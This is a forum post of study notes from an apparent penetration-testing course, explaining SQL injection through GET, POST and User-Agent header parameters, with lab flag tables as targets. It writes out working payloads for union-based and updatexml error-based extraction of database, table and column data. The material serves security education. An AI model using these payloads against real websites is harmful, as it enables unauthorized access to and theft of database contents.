论坛首页 > 技术文章投稿区 > 技术文章

【学习笔记】注入-全方位利用（上）get/post/head注入

久违的双子座 · 发表于 2020-03-03 20:50:53 · 技术文章

## 这人是谁？
> 我是第八期学员`久违的双子座`这是我的第四个帖子，希望能坚持下去。
这个**【学习笔记】**系列，是学习第七期正式课程后，总结记录的内容，供`提交作业`、`复习查阅`和`分享交流`使用。下面就开始吧！

之前【学习笔记】连接：
- [【学习笔记】第二章 表单验证知识总结](https://bbs.zkaq.cn/Index/s/KruAlRQl "【学习笔记】第二章 表单验证知识总结")
- [【学习笔记】第二章 正则表达式知识总结](https://bbs.zkaq.cn/Index/s/d1LmmU9V "【学习笔记】第二章 正则表达式知识总结")
- [【学习笔记】第三章 信息搜集--渗透测试的灵魂](https://bbs.zkaq.cn/Index/s/XbSytMz0 "【学习笔记】第三章 信息搜集--渗透测试的灵魂")

## 一、什么是注入
1. **一句话定义：**`把用户输入的数据当做代码执行`
2. **满足上面定义的前提条件**
 - 用户能够控制输入
 - 原程序执行的代码，要在拼接用户输入的数据之后 ，再执行
3. **具体到sql注入的原理：**用户输入的数据当做SQL语句的代码执行了

4. **一些需要提前掌握的函数**
 - `order by` 原为排序，注入式用来判断字段数
 - `union select` 用来判断显示位置，和链表查询（需相同字段数量）
 - `information_schema` mysql自带数据库 使用`.tables` /`.columns`调出表名/字段名
 - `group_concat`多行数据用一行显示
 - `limit a, b`排序输出,a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据
 - `updataxml` `concat`:解释见下图
 ![](/upload/md/4245f2fada7f2e819e117974c10ba51e_19398.png)

##二、注入的一般流程
1. **寻找注入点**
 - 根据可注入位置不同可划分为不同注入方式
 - `GET注入`--前后端使用get方法，在URL中传递参数。如下图浏览器url框中：
 ![](/upload/md/f9fb1a5960123ee94c51801f92eb1bc8_23542.png)
 > 在后面输入 and -1=0 看页面是否报错，若报错则证明此处前端与后端进行数据交互，可注入！

- `POST注入`--前后端使用post方法，在“框”中传递参数。表象如下图：
 ![](/upload/md/5533eb93ccaef08307197a7c2beb8c6b_26969.png)
 > 在姓名框中输入 ' or 1=1# 看页面若有进去的可能性，则可注入
 > ' 猜测源代码中有 ' 要形成闭合，#意味注释掉后续代码，因为1=1为真，所以代码执行后为真，通过。再次看一遍文章开头`注入一句话定义`

- `HEAD注入`不深究简单说，网络中web访问是以IP数据包形式传输数据，每个数据包由头部（head）和数据体（body）组成，head中有访问者的各种信息，而通讯时我们若能抓到这些数据包，并将头部中这些身份信息修改则为HEAD注入。抓包实例如下（使用burp）：
 ![](/upload/md/f6b1ce6a02a3b765d9a96756d2ee6eea_62337.png)
 > 就像图中User-Agent本意是表示你是哪种访问方式例如苹果、微软、安卓、华为等等，图中我把他的值更换为了一个注入语句，并报错就返回了我关心的结果。
2. **判断字段数**
 - `order by`
 id=1 and -1=-1 order by 4 // get注入使用
 ' or 1=1 order by 3 # // post 注入使用 ' 何时使用，猜测原代码是否需要闭合
 // head注入因为是要引起报错，来返回需要的信息，所以不需要字段数测试
 > by 后的数值不断加大，等返回错误页面时，就判断出了最大字段数。
3. **联合查询输出点**
 - `union select 1,2,3...`
 id=1 and -1=2 union select 1,2,3 // get注入
 ' or -1=0 union select 1,2,3# // post注入
 // head注入因为是要引起报错，来返回需要的信息，所以不需要查询输出点
 ![](/upload/md/081041cb93fbc11caad16935ec6df800_64551.png)
 > 由上图可知 本有字段1，2，3共三个，但是输出点只有2和3，注入时，只能选择2，3来显示结果
4. **查询库名、表名、字段名**
 - 查库名`database()`其实可以省略，直接查询表名
 id=1 and -1=2 union select 1,database(),3 // get注入
 ![](/upload/md/66903ef2790f592b8e704642cbf65a84_86781.png)
 ' or updatexml(1,concat(0x7e,(select database())),1),1)# //head注入，将User-Agent的值替换成此段代码
 ![](/upload/md/f6b1ce6a02a3b765d9a96756d2ee6eea_62337.png)
 - 查表名 `information_schema.tables`
 id=1.11 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() // get注入
 ' or -1=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# // post 注入
 ‘ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_name=’flag_head’),0x7e),1),1)# // head注入 ，依然替换User-Agent的值
 ![](/upload/md/bdfbfc98ef34087ab62099317b03769e_26255.png)
5. **查询出关键字段的值**
 - 最后一步查出值了
 id=1.1 union select 1, 2,group_concat(flag) from error_flag // get
 ‘ or -1=2 union select 1,id,flag from flag# //post
 ‘ or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head),0x7e),1),1)# //head

##三、一些常用工具介绍
1. `burpsuite`:上文中提到的head注入时需要抓包，就是使用此款工具。另外账号口令的暴力破解也可以使用。总之如何安装和使用，可自行搜索，有很详细的资料。
2. `sqlmap`注入点扫描工具之一。
3. chorm小插件`Proxy SwitchySharp`代理神器，可配合`burpsuite`共同使用，使抓包操作更方便。
4. chorm小插件`ModHeader`更改数据报头神器，上文中提到的更换User-Agent值，就用它。

> 文章中有很多细节或者更精深的技术原理没有写出来，实际操作演示更精彩，可是很难一一尽述，最快捷的方式可能只有报名上正式课了吧。望各位朋友好运。

#结尾
## 将点滴记录下来，期待积少成多，化蛹为蝶，量变转化为质变那一刻！

用户名	金币	积分	时间	理由
奖励系统	50.00	0	2020-03-15 17:05:08	投稿满 5 赞奖励

打赏我,让我更有动力~

0 条回复 | 直到 2020-3-3 | 1904 次浏览

登录后才可发表内容